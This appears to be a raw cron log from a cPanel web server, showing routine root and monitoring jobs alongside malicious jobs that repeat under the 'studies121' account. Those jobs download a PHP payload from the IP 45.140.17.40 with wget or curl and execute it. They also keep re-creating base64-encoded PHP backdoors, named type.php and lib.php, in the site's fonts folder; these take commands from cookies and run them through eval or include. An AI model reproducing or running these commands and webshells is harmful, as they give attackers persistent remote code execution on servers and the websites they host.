Sep 22 19:46:01 ip-184-168-122-23 CROND[5251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:46:01 ip-184-168-122-23 CROND[5253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:46:01 ip-184-168-122-23 CROND[5254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:46:01 ip-184-168-122-23 CROND[5255]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 19:46:01 ip-184-168-122-23 CROND[5257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 19:46:01 ip-184-168-122-23 CROND[5256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:47:01 ip-184-168-122-23 CROND[5364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:47:01 ip-184-168-122-23 CROND[5366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:47:01 ip-184-168-122-23 CROND[5367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:47:01 ip-184-168-122-23 CROND[5365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:48:01 ip-184-168-122-23 CROND[5555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:48:01 ip-184-168-122-23 CROND[5557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:48:01 ip-184-168-122-23 CROND[5558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:48:01 ip-184-168-122-23 CROND[5559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:48:01 ip-184-168-122-23 CROND[5564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:49:01 ip-184-168-122-23 CROND[5937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:49:01 ip-184-168-122-23 CROND[5936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:49:01 ip-184-168-122-23 CROND[5935]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 19:49:01 ip-184-168-122-23 CROND[5939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:49:01 ip-184-168-122-23 CROND[5938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:50:01 ip-184-168-122-23 CROND[6210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:50:01 ip-184-168-122-23 CROND[6212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:50:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:51:01 ip-184-168-122-23 CROND[6455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:51:01 ip-184-168-122-23 CROND[6457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:51:01 ip-184-168-122-23 CROND[6458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:51:01 ip-184-168-122-23 CROND[6460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:52:01 ip-184-168-122-23 CROND[6707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:52:01 ip-184-168-122-23 CROND[6709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:52:01 ip-184-168-122-23 CROND[6711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:52:01 ip-184-168-122-23 CROND[6710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:52:01 ip-184-168-122-23 CROND[6712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:53:01 ip-184-168-122-23 CROND[7859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:53:01 ip-184-168-122-23 CROND[7860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:53:01 ip-184-168-122-23 CROND[7862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:53:01 ip-184-168-122-23 CROND[7864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:54:01 ip-184-168-122-23 CROND[9277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:54:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:54:01 ip-184-168-122-23 CROND[9279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:54:01 ip-184-168-122-23 CROND[9282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:54:01 ip-184-168-122-23 CROND[9283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:55:01 ip-184-168-122-23 CROND[10423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:55:01 ip-184-168-122-23 CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:55:01 ip-184-168-122-23 CROND[10429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:55:01 ip-184-168-122-23 CROND[10430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:55:01 ip-184-168-122-23 CROND[10427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:55:01 ip-184-168-122-23 CROND[10431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:56:01 ip-184-168-122-23 CROND[11830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:56:01 ip-184-168-122-23 CROND[11832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:56:01 ip-184-168-122-23 CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:56:01 ip-184-168-122-23 CROND[11834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:56:01 ip-184-168-122-23 CROND[11836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:57:01 ip-184-168-122-23 CROND[13631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:57:01 ip-184-168-122-23 CROND[13632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:57:01 ip-184-168-122-23 CROND[13634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:57:01 ip-184-168-122-23 CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:58:01 ip-184-168-122-23 CROND[15309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
